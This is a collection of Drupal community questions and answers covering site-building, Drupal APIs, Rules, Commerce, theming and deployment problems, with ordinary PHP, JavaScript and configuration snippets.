Navigation for book collections I'm working in a projet where I have to show a collection of books. In this website I managed using the books navigation block, for one collection with many books, with css I managed to set a tree view and indication where you are, but only allows one collection of books.
The problem is that I have to make as least 23 collections, each of them belonging to a province.

Is there a way to replicate that book navigation for each collection?
Could I make them with block menu with tree view and the same CSS style?
I think the concept of book collections is missing, from the editorial point of view.

I'd rather try to use the Views Accordion module. Here is a screenprint of what you can get from it (from its project page):

If your question is about D7, you may also want to add the Views Nested Accordion module. Here is a screenprint of what you can get from it (from its project page):


How to programmatically set a file field to allow multiple uploads/values? I have created a file field with field_create_field() and added an instance of it to my custom node type with field_create_instance() in my module's hook_install()function. But how do I set it to allow unlimited file uploads. I can do it in the drupal interface by going to structure > content types > manage fields and clicking edit for my file field. I can set number of values on that page but how do I do it programmatically? There must some settings key I suppose but could not find it online.

I am using drupal 7.

my example, see "cardinality" value:

$field = array(
  'field_name' => 'field_ws_file',
  'type' => 'file',
  'cardinality' => FIELD_CARDINALITY_UNLIMITED,
);
field_create_field($field);

Instead of FIELD_CARDINALITY_UNLIMITED you could also simply use -1.


Google Analytics Module not working Configuring Google Analytics Module, I mistakenly kept the example code during the first 2 configurations of the module: UA-673320-6.

Then I finally out the correct code:UA-30183564-3.

From looking at my website's page source, it appears all 3 configurations are in the header as javascript snippets?

I am not sure how to get Google Analytics setup so that it is linked to my website?

<script type="text/javascript">
<!--//--><![CDATA[//><!--
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-673320-6']);
_gaq.push(['_setDomainName', '.XXXXX.com']);
_gaq.push(['_trackPageview']);

(function() {
  var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
  ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
//--><!]]>
</script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-673320-6']);
    _gaq.push(['_setDomainName', '.XXXXX.com']);
    _gaq.push(['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async    = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') +     '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
//--><!]]>
</script>
<script type="text/javascript" src="http://XXXXX.com/sites/all/modules/umi_docs_migrate/js/sphinx.js?m17g0h"></script>
<script type="text/javascript" src="http://XXXXX.com/sites/XXXXX.com/files    /js/js_IDBX5SzkJ9gGNq7x-qOE_2DZsexqguTJQGMKvi4w-Uw.js"></script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
var _gaq = _gaq || [];_gaq.push(["_setAccount",    "UA-30183564-3"]);_gaq.push(["_setDomainName", ".XXXXX.com"]);var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-30183564-3']);
_gaq.push(['_trackPageview']);_gaq.push(["_trackPageview"]);(function() {var ga =     document.createElement("script");ga.type = "text/javascript";ga.async = true;ga.src =    ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-  analytics.com/ga.js";var s = document.getElementsByTagName("script")        [0];s.parentNode.insertBefore(ga, s);})();
//--><!]]>
</script>

I would like to offer an alternative. I  have always had issues with putting my analytics into the analytics module.  I have experienced what you have experienced, plus I question why this code has to go into a module? The fewer modules you have the faster your site performs.

I always get the code from Google and then hard code it into the theme files. In drupal 7, this would go into your html.tpl.php just before the  tag, just as google instructs.  That is called for every single page, so no pages will ever go without it. Plus, it makes your code lighter and one less module to worry about. It has always been the best solution for me.

note: if you are using d6 it would have to go into each page.tpl.php template or its derivative if you have more than that one.  Hope that helps.


Unable to find out how a content type node is getting themed I have a drupal 7 installation with a paid template which I am trying to tweak. The template has a demo installation, which has a content-type named 'Team'.

So I created a bunch of content with type as Team. Now if I create a Basic Page content and in the URL Alias if I give 'content/team', then it shows a grid view of all the team content I created (each team members photo, name & designation with a read more button).

There is a node--view--team.tpl file available in the codebase.

My problem starts when I try to rename the content-type called Team to 'Students(machine name was also changed tostudents). After renaming I renamed the tpl file tonode--view--students.tpl`. In the URL alias, if I give any url other than 'content/team', all I get is an empty page. If I change the URL alias to 'content/team' - everything works!!

This is driving me mad, I know I cannot get a complete answer since I am tweaking a custom theme, but any pointers would be greatly appreciated!

I have run into this before; it's the result of some bad practices commonly used by the commercial Wordpress—ehem, wait, I mean, Drupal—themers.

The culprit code is probably in a function in template.php or similar. Try searching the entire theme codebase for "team" - if you are on a Unix system you can use the grep command like this

grep -r "team" /path/to/theme

This might help you find the dirty function.


What is the syntax for using a contrib module's service from within a hook implementation? I'm trying to get a list of objects from AWS using the S3fsService from the S3 File System module from within a hook_cron() implementation. The following code works:
// Fetch list of files in S3.
$config = \Drupal::config('s3fs.settings')->get();
$s3 = \Drupal\s3fs\S3fsService::getAmazonS3Client($config);
$iterator_args = ['Bucket' => $config['bucket']];
$iterator = $s3->getIterator('ListObjectVersions', $iterator_args);

…but I'm getting a message saying Deprecated function: Non-static method Drupal\s3fs\S3fsService::getAmazonS3Client() should not be called statically….
How should I be calling it differently?
Thanks!

You can access services via \Drupal::service('service.name').
You need to know the service's name to access it, though. Looking at the s3fs module, I can see in the module's s3fs.services.yml file that the class your requesting is available with the service name s3fs.
$s3fs = \Drupal::service('s3fs');
$result = $s3fs->getAmazonS3Client($config);


How not to display some required fields on registration form? My user form is pretty long and many of the fields are required. However I don't want to discourage lazy users from registering. I would like them to register and pay first then make them fill out the required fields when they edit their profile. I would like the required fields to be required when editing their profile but do not want to show them on the registration form. Right now making a field required automatically puts it on the registration form. How do I prevent this? Thanks.

First make fields not required and then use the Field Validation module. You can validate each field as per your requirement.

  The following validators are currently included:
  •Regular expression
  •Numeric values (optionally specify min and / or max value)
  •length (optionally specify min and / or max length)
  •number of words (optionally specify min and / or max words )
  •Plain text (disallow tags)
  •Must be empty (Anti-Spam: Hide with CSS)
  •Words blacklist
  •number of selections (optionally specify min and / or max selections )
  •Unique
  •Match against a field
  •Match against a property
  •Specific value(s)
  •Require at least one of several fields
  •Equal values on multiple fields
  •Unique values on multiple fields
  •PHP Code (powerfull but dangerous)
  •URL (support internal path and external url validation)
  •Email
  •Pattern (Regular expression lite)
  •Date range2
  •Date range(living in sub module date validation, deprecated in future)


Search engine for Drupal site, Apache Solr or ElasticSearch? Hello Drupal community,

I'm facing a issue for a new site that i'm developping. I need to implement a search engine and don't know which search engine to use between Apache Solr and ElasticSearch. It's the first time I do such work and I am desperatly in need of feedbacks from people who used it in there website and who can tell me the difference it makes in a Drupal site.

Edit : I want a new one to display a search bar in the front office to index all the content of the site in a special way. I also want the results to be displayed right away.

Thanks in advance.

Use Apache Solr.It has every feature you dream and the searching is super fast.It can search through pdf as well. As per your requirements I suggest to use Apache Solr. It can be easily done with it.


Custom input in edit profile page I create a template called page--user--edit.tpl.php

Into that file, I want to display some inputs for editing like username and password only, not the default edit form.

I don't know the code to put into this file for displaying only these input.

Thanks for your help !

Use Hook form alter and find the id of user edit form. Unset all extra fields but username and password. In templates it is not recommended to add php. If you want to disable or hide something its better to disable it from the render array. here is an example:

<themnam>_form_<FORM_ID>_alter($form, &$form_state) {
 dpm($form);
 unset($form['your-field']);
}

I hope it helps


How to use drush locally with Acquia Dev Desktop2 and upgrade core I just a new project in Drupal 8 and it's hosted on Acquias cloud using Dev Desktop 2 (DD later on).
Now the project is working fine, but i can't use drush at all, as the settings.php is generated by DD as is the code for the DB conneciton.

if (isset($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR']) && file_exists($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/cld_my_site_default.inc')) {
  require $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/cld_my_site_default.inc';
}

I found a post here where the suggested method was to create a local.settings.php and in it paste the contents of the file cld_my_site_default.inc but that's a dead end as i can't access that file.

Anyone knows how do i setup drush so i can update the core, as per this tut.

in Acquia Dev Desktop application,  when your project is selected there is a small
icon on the right-hand side. If you press it will open CMD and the correct path will be autoselected. Drush up will work there.

Good Luck


Drupal gives me a blank page after moving from localhost to server I am new to Drupal . I moved my project from local host to server but it does not display either an database error or a page not found error.
Everything works better in local.
Please help me .

With the limited amount of details provided it is really hard to guess what might be causing it. So here are some things you may want to check:

look in your webserver logs if any error is shown there.
make sure you granted the appropriate file permissions.
not enough PHP memory.

If you add more details to the question (like which OS, which webserver, etc) we might provide more answers also ...


Upload image to commerce product on save? Currently working with the Commerce module in Drupal 7.

I've hooked the product creation form (using hook_form_alter()) to include a custom validation function. I have an image for each product that is generated on the fly and needs to be associated with the relevant product. The name of the image field is 'field_pchem_structure_image.'

I'm able to create and save the image, but I need to make sure it is added to the product when the product is saved. I've tried setting:

$form_state['values']['field_pchem_structure_image'] = $file;

However, this does not seem to work. Could someone please explain how to do this?

I installed Commerce Customizable Products and created a new line item type. This enabled me to create another product type with an upload field in the add to cart form users can use to upload file to the site. Also use rules obviously to do some more backend stuff, like change file location (that's set with a token uid) to be updated on username change and lots more. Can do lots of fun stuff with media/file entity, but your fix also works, just adding this for the search bot arena ;)


Generate and email coupon code to customer after they purchase full price item We have a situation where we want to be able to automate a process for certain customers to receive a discount coupon after making a purchase.

Ideally, customers could just throw two of whichever package they are purchasing into the cart and be good to go, but because of some oddities with our underlying product (a software package that they get access to for a few months) they need to make separate purchases if they need more than one license. And there are a few situations where we would want to provide a buy one get one half off coupon, but it's not every time.

I'm wondering if it's possible to create a condition of some sort, like a particular coupon code or product that we can provide to customers, that once they purchase an email is automatically sent with a 50% off your next purchase coupon.

I'm pretty new to working with Drupal and don't know where to start with this or if it's even possible.

edit: we are working in Drupal 7 and using ubercart

Thanks!

In Drupal just about anything is possible but you'll need to provide more context otherwise people won't answer you.

Drupal 7 or 8?
Are you using Commerce or Ubercart?

In any case, the Rules module might be what you are looking for. It has the ability to act on different events.


How to prevent login if a condition is not met I am working on a Drupal 6 site (which I did not make and am not in charge of the general IT architecture at this company).

The site is on an intranet and they regularly import all users from an external source to Drupal users. The requirement is to restrict access to a subset of the imported users.

So:
When a user logs in if they are on the authorized list then proceed else deny access

I realize this isn't the most effective way of doing things and I would have done in differently, personally. But I am stuck having to do it this way.

What I have working so far:

I have feeds and data modules to import a CSV of authorized users
I am using hook_user() in my module to check if the user is on the authorized list

the problem:

I have all the above working but I can't figure out a clean way to log the user out or terminate the session when they are not found on the list. When I use this it causes errors:

function mymodule_user($op, &$edit, &$account, $category = NULL) {

  switch ($op) {
    case 'login':
        $strID = $account->uid;
        $strName = $account->name;
        if ($strID <> 1) {
            if (!mymodule_checkACL($strName)) {
                global $user;
                $user = array();
            }
        }
    break;
  }

Any better way than this? Sorry if the question seems a little basic, I'm new to this.

Thanks

You can use sess_destroy_uid($account->uid).

You might also consider blocking users during the import process; this is done by setting the "status" column to 0.


permissions to allow role to edit the posted date in drupal 7 - I have given a role the permissions to edit, add delete and modify content but he doesn't see the authored date in order to modify it.  how can I give him permissions to modify that ?

Updated date is set automatically by the system, if you want to edit that you will need to write some custom code.  Your user should be able to see the 'authored date' though.

Alternatively, if you need a date field that the user can edit (say, a publication date), just create a date field on your content and render it appropriately.

[edit based on additional info]:

I went digging in the code and found this in node.pages.inc:

$form['author'] = array(
  '#type' => 'fieldset',
  '#access' => user_access('administer nodes'),
  '#title' => t('Authoring information'),
  '#collapsible' => TRUE,
  '#collapsed' => TRUE,
  '#group' => 'additional_settings',
  '#attributes' => array(
    'class' => array('node-form-author'),
  ),
  '#attached' => array(
    'js' => array(
      drupal_get_path('module', 'node') . '/node.js',
      array(
        'type' => 'setting',
        'data' => array('anonymous' => variable_get('anonymous', t('Anonymous'))),
      ),
    ),
  ),
  '#weight' => 90,
);

As you can see, access is tied to the 'administer nodes' permission which I'm guessing you haven't, and probably don't want to give to that role.

Luckily this is quite easy to change using hook_form_BASE_FORM_ID_alter(&$form, &$form_state, $form_id), here's the API for that function.

Create a custom module and put this in it:

function MODULENAME_form_node_form_alter(&$form, &$form_state, $form_id){

    // You may wish to add some logic here to test for a specific role

    $form['author']['#access'] = TRUE;

    // Otherwise this will simply give everyone who can create nodes the
    // ability to change author and date.

}


AJAX listener on text_format field I am trying to activate an AJAX callback on every change by the user of a text_format field (which is part of a standard bundle edit form). The name of the field in the snippets below is field_reponse

The code works perfectly with other fields (dropdown, textfield), but not for the formatted text areas of type "text_format".

I suppose it is connected with the post-processing of CKEditor. Am I right ? In any case, is there a workaround?

    function MY_MODULE_form_node_shut2_edit_form_alter(&$form, \Drupal\Core\Form\FormStateInterface $form_state, $form_id){

    // Autosave

    $form['field_reponse']['widget'][0]['#ajax'] = array(
            'callback' => 'Drupal\MY_MODULE\Form\FormAutosave::autosave',
            'event' => 'click',
            'wrapper' => 'autosave_ajax_placeholder',
            'progress' => array(
              'type' => 'throbber',
              'message' => NULL,
        ),
    );

  // Add placeholder for Ajax response markup
  $form['autosave_ajax_response'] = array(
            '#type' => 'html_tag',
            '#tag' => 'div',
            '#value' => t('Placeholder for ajax response'),
            '#attributes' => array(
              'class' => array('hidden'),
              'id' => array('autosave_ajax_placeholder'),
        ),
    );
    }

    return $form;
}

The callback:

<?php

namespace Drupal\MY_MODULE\Form;

use Drupal\Core\Form\FormStateInterface;
use Drupal\node\Entity\Node;

class FormAutosave {

  public static function autosave(array &$form, FormStateInterface $form_state) {

    // Load the shut2 and get changed form element
    $node = $form_state->getFormObject()->getEntity();
    //$curr_values = $form_state->getValues();
    //$triggering_element = $form_state->getTriggeringElement();
    //drupal_set_message($triggering_element));
    // Set and save node with new value for field
    //$node->set($triggering_element, $triggering_element['#value']);
    $node->set('field_reponse', $form_state->getValue('field_reponse'));
    $node->save();

    // Add an Ajax response to avoid error
    $response = [
      '#markup' => t('Sauvegardé automatiquement !'),
    ];
    return $response;

  }

}

I think the event should be keyup not click.


How do you make the list of Organic Group (OG) members of a group visible only to group members? In Drupal 7 I have public and private groups.  I would like the list of members that show up in the View: OG members block to only show members of the group if the the current user is a member of that group as well.

This seems like a fundamental capability of OG yet I can't seem to find how to set it.

A version of this question is at http://drupal.org/node/707738 - posted on February 8, 2010

Any help would be appreciated.

I would suggest you to go in Views under Block Settings > Access and try OG Permissions


Theme select field with ul li in register form I have a field in account settings named 'field_country' which is a select list.

I have defined it as an ajax field in template.php

$form['field_country'] = array(
  '#type' => 'select',
  '#options' => $countries,
  '#ajax' => array(
    'callback' => 'change_country',
    'wrapper' => 'city',
  ),
);

Then when you change the value it calls correctly 'change_country' with ajax and works perfectly.

My problem is that I want is to change this select/option input by an ul/li list, and call ajax method like its original version.

I think you have to try using a widget that looks and acts like a select list, but is made HTML list & Javascript.


show archive block on every page containing certain content type I have created one archive block using views for a content type. It holds the list of all the contents grouped year+month wise.

  Now I want to display it on the left sidebar of all the pages having
  this content type.

Using Block configuration of this archive block I have displayed it on certain pages, but I can't set it to appear on all the pages of type node/*, because all nodes do not contain that very content type.

Please help if anyone knows the solution to it .

If you are using Drupal 7, you can go to Home » Administration » Structure » Blocks, and hit configure next to block you need:

In the Visibility settings section use Content types tab. In Drupal 8 it looked similar and probably will not change significantly.

The same functionality was backported to 5 and 6 by Block Node Visibility module.

If you don't want to install above module, and you're using Drupal 6, use Pages tab, and select last radio button "Pages on which this PHP code returns TRUE", and use code like:

<?php
// valid node id in view mode
if ( arg(0) == 'node' AND is_numeric(arg(1)) AND arg(2) == FALSE ) {

    $node = node_load(arg(1)); // cached

    if ( $node->type == 'insert type you want' ) {
        return TRUE;
    }
}

return FALSE;
?>

Code sample by bluesherpa from Drupal.org.


Conditional Show/Hide Child Terms on Edit Page I have a content type with a term reference. The terms have child terms. On the admin editing side, I want to show only top level terms until selected, then show only the child terms for that parent.
This to prevent having a ginormously long field.
Parent 1
  Child 1
  Child 2
Parent 2
  Child 3
  Child 4
Parent 3
...

When a user edits a piece of content, I want to only show the parent terms initially. Then show/hide the child terms when the parent is checked.
Parent 1
Parent 2 (checked)
  Child 3
  Child 4
Parent 3
Parent 4
...

I've used conditional fields, state API, and select (other) modules. But this is showing and hiding children on the same field. So it's a bit different.
Anyone have any advice for this scenario?

Off the top of my head, I would say that you can do this more cleanly with two '#type' => 'select' elements.
The first one would just contain the parent terms.
The second one would be set to
'#states' => [
  'disabled' => [
    ':input[name="parent_term"]' => ['value' => ''],
  ],
],

Then you could use Drupal Form API #states to conditionally set the value of the second select element to the appropriate child terms, depending on which parent term is selected.
The most obvious alternative approach would be some hacky JavaScript.


Where are the default emails? I am using Drupal Commerce in Drupal 8.

Where can I find the default email and rules related to order activities, like on completion, processing etc.

Email templates can be found in module subdirectories:
https://docs.drupalcommerce.org/commerce2/developer-guide/orders/customize-order-receipt-emails

For D8,  commerce is not using rules any more, but states machine and event subscribers, check order workflows / checkout flows
https://docs.drupalcommerce.org/commerce2/developer-guide/orders/workflows


Logout my account on other computer I was using a computer somewhere to login my site as admin, but forgot to logout. How can I logout my account from another computer?

I think you can just remove the relevant entries from the sessions table:

db_delete('sessions')->condition('uid', $your_user_id)->execute();

That should log the user out everywhere.


File issues after importing Drupal site I recently tried to move my Drupal site to a new server using this page: Moving Drupal 7 site to a new server.
But now the style doesn't seem be loaded and more importantly I get this error on every page in the site (even on the frontpage):

Warning: file_put_contents(temporary://filef76T9k): failed to open stream: "DrupalTemporaryStreamWrapper::stream_open" call failed in file_unmanaged_save_data() (line 1900 of /Library/Server/Web/Data/Sites/Default/drupal/includes/file.inc).
The file could not be created.

Any ideas what this could be about?

It sounds like your temp directory is either wrong, or isn't writable.

Visit "admin/reports/status" and fix any problems that are there.

Then visit "admin/config/media/file-system" and make sure the temp directory is set properly and is writable by the webserver.


How to switch 'standard' installation profile to 'minimal' in existing site? I have built a druapl 8 site with 'Standard' installation profile.

How can I  switch 'standard' installation profile to 'minimal' in existing site?

Installation profiles contain code to set up a site during installation, that's all they do. They aren't useful to an installed site.

Trying to change the profile after installation could never conceptually do anything. The installation code has already run, and the purpose of the profile has been served at that point.


I can't get the SKU value for a commerce product in a rule action I created a rule to be fired when a "New Commerce product is saved" Then I set a action to create a Product Display node and and another action to  set the title for the Product Display to be the same as for the new commerce product. So far so good.

Now I need to create another action to set the field product of the Product display to be the same as the Commerce product SKU.

Here is the problem since I can not get this value. I tried to add a condition of the type "Entity has field" but it seems like the SKU vale is not a field at all.

How can I accomplish with this?

Code for the rule:

{ "rules_create_product_display" : {
    "LABEL" : "Create Product Display",
    "PLUGIN" : "reaction rule",
    "TAGS" : [ "commerce" ],
    "REQUIRES" : [ "rules", "entity" ],
    "ON" : [ "commerce_product_insert" ],
    "DO" : [
      { "entity_create" : {
          "USING" : {
            "type" : "node",
            "param_type" : "product_display",
            "param_title" : "[commerce-product:title]",
            "param_author" : [ "commerce-product:creator" ]
          },
          "PROVIDE" : { "entity_created" : { "product_display_created" : "Created Product Display" } }
        }
      },
      { "entity_save" : { "data" : [ "product-display-created" ], "immediate" : 1 } },
      { "redirect" : { "url" : [ "product-display-created:edit-url" ] } },
      { "drupal_message" : { "message" : "Product display created. You can edit it at: [product-display-created:nid]" } }
    ]
  }
}

In order to access the SKU for the product you must first use two conditions in your rule to assure that you are dealing with the right type, these are :

Entity is of type commerce-line-item
Entity has field commerce_product

Just as an example this Rule export applies a discount ( 5_eur_disc ) to a product with an SKU of SKU-FOO-ITEM after checking that the discount dates are current.

{ "commerce_discount_rule_discount_discount_per_sku" : {
    "LABEL" : "Discount per SKU",
    "PLUGIN" : "reaction rule",
    "REQUIRES" : [
      "commerce_discount_date",
      "rules",
      "commerce_discount",
      "commerce_product_reference"
    ],
    "ON" : [ "commerce_product_calculate_sell_price" ],
    "IF" : [
      { "commerce_discount_date_condition" : { "commerce_discount" : "5_eur_discount" } },
      { "entity_is_of_type" : { "entity" : [ "commerce-line-item" ], "type" : "commerce_line_item" } },
      { "entity_has_field" : { "entity" : [ "commerce-line-item" ], "field" : "commerce_product" } },
      { "data_is" : {
          "data" : [ "commerce-line-item:commerce-product:sku" ],
          "value" : "SKU-FOO-ITEM"
        }
      }
    ],
    "DO" : [
      { "commerce_discount_fixed_amount" : {
          "entity" : [ "commerce_line_item" ],
          "commerce_discount" : "5_eur_discount"
        }
      }
    ]
  }
}


How to add additional url parameters? I would like to know how I can include additional URL parameters to a given link? ie: 'news?pid=3'

<?php
print $path='news?pid=3';
?>

This returns page not found error as the '?' is getting printed as %3F.

If you are using l(), you would do something like this to create news?pid=3.

l('Link Text', 'news', array('query' => array('pid' => '3')));

If you have other query parameters, you can add them in like this:

l('Link Text', 'news', array('query' => array('pid' => '3', 'foo' => 'bar')));

and that would create news?pid=3&foo=bar.

More information on l() here and url() here.


Run a Drupal website offline (±without server)? --- E.g. hand it over on a usb-stick / by mail? --- Run it from the HD, while retaining functionality? Why run Drupal offline?

Since I use free webhosting, I don't have 100% up-time, so I started wondering whether I could maintain such Drupal functionality, while at the same time working offline.

An example of an application

In general, I am talking about a more or less operational website here.

E.g., my own quest at the moment: I want to let people fill in a couple of words/lines on a Drupal website by clicking on hyperlinks at specific points in a HTML article which is created on a Drupal website - and have the input of the people saved somewhere. (I still have to find the right module / way of achieving this by the way)

1 small step to think, 1 giant leap in technology?

Any thoughts on how to go about this? Perhaps letting people "run" / temporarily host the website from their own computers? (P.S.: I would rather like to keep things as WYSIWYG as possible.)

I am not experienced in this matter, but what do you think would be perhaps missing to pull this off: the handling or online hosting of a MySQL-database; something that has to do with PHP;...?

Perhpas, cf. the following question about offline MySQL.

Drupal is too large a project to be run on slim architecture or dumb terminals. If you're going to buy a USB stick (memory) to store Drupal then buy a "computer stick" and run Drupal off of Sqlite on the stick, for example a Gumstix product with Ubuntu on it $200 USD is hardly more expensive then an expensive large USB memory stick. https://store.gumstix.com/index.php/products/283/


Drupal 7 doesn't allow search in chinese character I'm using drupal 7 multilanguage site. When I enter chinese character (UTF8) in search box and search, it gives error like below:

Bad Request

Your browser sent a request that this server could not understand.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.

Can I know what's the problem and how to solve it?

Thank you in advance.

This is probably a server configuration issue.  I have successfully used Japanese search on both Drupal 6 and 7.  Try installing a copy of your site on a local development environment (Acquia Dev Desktop, etc.) and see if the problem recurs.


Omega 4 add region to layout I've found info to add regions to a custom layout in an Omega 4 subtheme.
Regions need to be declared in theme.info, layout.inc and then printed/rendered in layout.tpl.php.

I've done all that and they don't appear on the page after cache clearing.

Note:

They do appear in /admin/structure/block (I can add blocks to the
regions there but they aren't displayed on the actual pages).
The regions also appear if I edit the theme.info file, and
templates/system/page.tpl.php file, and disable the use of layouts in
omega 4 subtheme settings.

Code i used in following files:
/theme.info

regions[footercolumnone] = Footer Column one
regions[footercolumntwo] = Footer Column two
regions[footercolumnthree] = Footer Column three
regions[footercolumnfour] = Footer Column four

/layouts/owr/owr-layout.tpl.php

<?php print render($page['footercolumnone']); ?>

<?php print render($page['footercolumntwo']); ?>

<?php print render($page['footercolumnthree']); ?>

<?php print render($page['footercolumnfour']); ?>

/layouts/owr/owr.layout.inc

regions[footercolumnone] = Footer Column one
regions[footercolumntwo] = Footer Column two
regions[footercolumnthree] = Footer Column three
regions[footercolumnfour] = Footer Column four

I found that my /layouts/owr/owr.layout.inc file still said: template = simple-layout instead of template = owr-layout Changing it to the latter fixed my issue. Don't know why/where that parameter is used though.


Why is Rules Link checking all Rules Links on every page load? I am using the Rules Link module in a Drupal 7 site.
The site contains a view that lists a number of entities, including the Rules link field.
The Rules Link rule set is simple: when clicked, data of a field value is set.
The rules link works fine, however ...

When I check the recent log messages (dblog) I see that every page load of that views page, Rules link repeats a check on every rules link available on the page. Such as this Rules link where

" Executing and Rules link: Bin condition.
0 ms Executing and Rules link: Bin condition.
0.098 ms AND evaluated to TRUE.
0.11 ms Finished executing of and Rules link: Bin condition.

I did not include a trigger for when a page is viewed, so I think this is strange.
And even stranger, why is a rules condition check for every link listed in a view? I get long lists in my dblog showing repeating Rules Link condition checks.

What you have noticed (= repeat a check on every Rules Link available on the page), is simply how the Rules Link module works, especially if used in combination with the Views module, as in your question here.

As an example, refer to (my) question about "How to show authorized users a link for relevant Views results using the Rules Link module?". The accepted (my own) answer to that question includes an example of a Views result that looks like so:

User name      Active  Created date        Last login
Hillary.Trump  No      06/18/2016 - 13:45                      Unblock user
Donald.Clinton No      06/18/2016 - 13:42                      Unblock user
Someone.Else   Yes     05/12/2016 - 12:09  09/17/2017 - 11:18
Pierre.Vriens  Yes     03/11/2016 - 21:05  10/06/2017 - 16:04
Dries.Buytaert Yes     11/23/2015 - 10:11  09/17/2017 - 10:38
Anonymous      No

Actually the last column (with "Unlock user" for only the first 2 rows) is what got created via the Rules Link module. And to achieve this result, I used the "Configure Rules" tab to specify the relevant "Access Conditions". Don't be confused ... 'Access' here is not about permissions! Instead they are like an extra refinement of the permissions: they can be used to specify when to show the Rules Links, whereas this "when" is expressed using Rules Conditions (only).

I specified these Rules Conditions (which must both be satisfied), using the Add condition link (right above "Reactions"):

Data comparison, with:

Data to compare: [user:uid]
Operator: is greater than
Data value: 0

Data comparison, with:

Data to compare: [user:status]
Data value: Blocked

The 1st condition will ensure the link is NOT shown for Anonymous. And the 2nd condition will ensure the link is only shown for users for which the value of the Active column is No.

These Access Conditions of the Rules Link are actually saved as a regular Rules Component (using a Component Plugin type of "Condition set (AND)" and with machine name rules_link_condition_unblock_a_blocked_user).

So with the above in mind, and after I enabled "Show debug information" (within Rules Settings), I got a Rules Evaluation log which looks like this:

" Executing and Rules link: Unblock a blocked user condition.
0 ms Executing and Rules link: Unblock a blocked user condition.
0.532 ms The condition data_is evaluated to TRUE [edit]
1.831 ms The condition data_is evaluated to TRUE [edit]
1.839 ms AND evaluated to TRUE.
1.86 ms Finished executing of and Rules link: Unblock a blocked user condition.

" Executing and Rules link: Unblock a blocked user condition.
0 ms Executing and Rules link: Unblock a blocked user condition.
0.251 ms The condition data_is evaluated to TRUE [edit]
0.368 ms The condition data_is evaluated to TRUE [edit]
0.376 ms AND evaluated to TRUE.
0.394 ms Finished executing of and Rules link: Unblock a blocked user condition.

" Executing and Rules link: Unblock a blocked user condition.
0 ms Executing and Rules link: Unblock a blocked user condition.
0.277 ms The condition data_is evaluated to TRUE [edit]
0.394 ms The condition data_is evaluated to FALSE [edit]
0.402 ms AND evaluated to FALSE.
0.419 ms Finished executing of and Rules link: Unblock a blocked user condition.

" Executing and Rules link: Unblock a blocked user condition.
...

" Executing and Rules link: Unblock a blocked user condition.
...

" Executing and Rules link: Unblock a blocked user condition.
0 ms Executing and Rules link: Unblock a blocked user condition.
0.233 ms The condition data_is evaluated to FALSE [edit]
0.241 ms AND evaluated to FALSE.
0.258 ms Finished executing of and Rules link: Unblock a blocked user condition.

Some more details about the above logging data:

I got exactly 6 groups of logging records (1 for each Views result) of Rules logging data (each of them starting with the line "Executing and Rules link: Unblock a blocked user condition.").
Only for the first 2 groups it says "AND evaluated to TRUE." (i.e. the 2 rows for which the Rules Link-link is to be shown), while for the remaining blocks, they all say  "AND evaluated to FALSE." (i.e. the rows for which the Rules Link is to be hidden).

But, for the Rules Link module to be able to correctly (yes or no) show such link for each Views result, it has to evaluate both Rules Conditions (those 2 data comparisons in my case, you were lucky ... you seem to only have 1 Rules Condition for each Views result ...). Or, to use your own words (as in your question): "repeat a check on every Rules Link available on the page".

Open (followup?) question: what happens if there are multiple pages of views results, i.e. when are those Rules Conditions evaluated for subsequent pages (when the page is to be actually shown, or at the very beginning when the very first page is shown)?


how to enable access to a webform only from a link sent to user i'm planning to create a form with the webform module on D7.
i would like to be able to send via e-mail a link to that webform, but only those who receive that link (non-registered users) could access and fill the form. i don't like to expose the form to general public of the website.

i know how to do this with registered users, it would be straight forward with permissions, but don't know how to achieve this with non-registered ones.

what would be the way to do this?

You can do this by help of Deeplink module. Module page explains -

  Sometimes you want to be able to give simple URL access to content
  that would not normally be available to a particular user (or perhaps
  someone not even registered with the site).

  Deep link module allows the direct access to a specific item of
  content under certain circumstances and limitations. Such as one-off
  or time-limited deeplinks.


Taxonomy dropdown to match the related content (in a views with exposed filters) Goal

Each time I select a term from the select all the related articles in the page will be listed. The correct link is terms/term-name (taxonomy term alias)

e.g terms/sports will display all sports articles

How do I alter the form submit link?

Achieved so far

I created master display with 'exposed form in block: Yes'
The block is shown up with all the terms I need in the select widget.
Now when I select a term from the dropdown the url turns to terms?tid=54 displaying a page with the link to the terms/term-name. but I want to access directly.

All I need is to display at once from the select all the related content

Create a View with Block display from Taxonomy Terms and at Format Tab choose Jump Menu. If you need to overwrite the Jump Menu path you need to add a custom text field and create your desire path out of Replacement Patterns.

Than select the created custom text field from Jump Menu path settings


Drupal 7, Looking for a module that can geo-locate a user and feed them specific data? I'm trying to build a site where I can geo-locate anonymous users when they visit the site and feed them the appropriate data.

Example: I want to display a certain block if the anonymous user's IP is located within 100 miles radius of NYC.

Is there a module that can plug into Rules as a condition and geo-locate anonymous uses?

Smart IP module (https://drupal.org/project/smart_ip) will do the job. It will locate the visitor based on his/her IP address. Anything better than that (e.g. street address) requires Device Geolocation, which comes as a submodule of Smart IP.


add block to front page as a new section I want to add block to front page as a new section On ours website, but I didn't succeed, please can you help me to do it? I used views to create it but when i create it doesn't show in blocks.

website: www.awene.com  (is a kurdish website in iraq) designed by drupal 6.

Best regards

Do you have a section available to add the block to or do you need to add a section to put the block in? To add a new section you'll need to edit the .info file for your theme and add the new section definition there. Also you'll need to modify the active page template for your homepage adding a new section to the template file. Then you can define where the block will appear and in the block config you can define that it only appear on the <front> page if that's the desired result.


Display of multi values image field problem I am getting this output for example image:

I know it looks horrible, but main problem is that there is no [img] tag inside [a] tag.
